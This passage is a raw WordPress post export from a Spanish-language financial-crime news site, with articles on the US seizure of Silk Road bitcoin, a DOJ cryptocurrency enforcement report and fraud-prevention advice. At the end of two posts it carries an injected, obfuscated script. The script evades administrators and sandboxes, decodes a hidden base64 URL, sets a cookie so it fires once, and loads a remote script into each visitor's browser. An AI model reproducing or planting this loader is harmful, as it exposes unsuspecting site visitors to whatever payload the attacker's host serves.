abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance 